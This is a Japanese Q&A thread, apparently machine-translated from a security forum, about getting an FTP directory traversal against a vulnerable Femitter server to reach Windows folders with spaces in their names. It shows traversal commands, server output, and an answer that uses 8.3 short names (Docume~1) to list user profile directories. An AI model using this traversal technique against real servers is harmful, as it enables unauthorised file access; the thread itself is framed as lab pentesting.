it-swarm-ja.com

空白を含むディレクトリに対するFTPディレクトリトラバーサル攻撃

私はクローズドリファレンス環境で認可されたペンテストを実施しており、一見単純な問題に苦労しており、現在は解決できません。

MS Windows OSで実行されている脆弱なFermitter FTPサーバーに対してディレクトリトラバーサル攻撃を実行しようとすると、システムルートでLISTを実行することができます(アドレスとコンテンツのリストは参照用にここで変更されています)。

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

ただし、Documents and settingsなどの空白を含むフォルダーの内容を一覧表示する場合、空白が無視されるため、ディレクトリの内容を一覧表示できません。

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

私はすでに別のFTPクライアント(LinuxとWindowsではCLIとGUI)を使用してみましたが、空白を無視するか、ディレクトリトラバーサルを許可しませんでした。

Pythonへの攻撃のスクリプトを最初に生のソケット、次にftplibを使用してFTPサーバーにHEX形式で直接送信することも試みましたが、成功しませんでした。

数時間ググリングしても機能する解決策は得られませんでした(そうです、機能しないオプションがたくさんありました)。そのため、同じ問題を抱えている誰かがここにいます。確かに、このような空白を含むディレクトリトラバーサルが必要になるのは今回が初めてではありません。

15
lockout

@Dogeatcatworldによって提案されたソリューションで、C:\Docume~1\などのMS Windowsディレクトリの短い表記を使用します。

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

MS Knowledge Baseの本当に良い記事が8.3ディレクトリ表記について説明しています: Windowsが長いファイル名から8.3ファイル名を生成する方法

16
lockout

「短い名前」は、実際には古いDOS 8.3の命名規則です。したがって、一致する名前が1つだけあるとすると、すべてのディレクトリは最初の6文字の後に〜1が続きます。次に例を示します。

C:\ ABCDEF〜1-C:\ ABCDEFG I AM DIRECTORY
C:\ BCDEFG〜1-C:\ BCDEFGHIJKL M別のディレクトリ

ここに唯一の例外があります:

C:\ ABCDEF〜1-C:\ ABCDEFG I AM DIRECTORY
C:\ ABCDEF〜2-C:\ ABCDEFGHIディレクトリも

ソース: Windowsディレクトリ/ファイルの短いパスを見つけるにはどうすればよいですか?

1
madsport

FTPはURLエンコーディングを使用しないため、翻訳できるブラウザでFTPを使用しない限り、%xxは機能しません。

代わりに、引用符を使用してみてください。例:ls "../../some dir"

0
wireghoul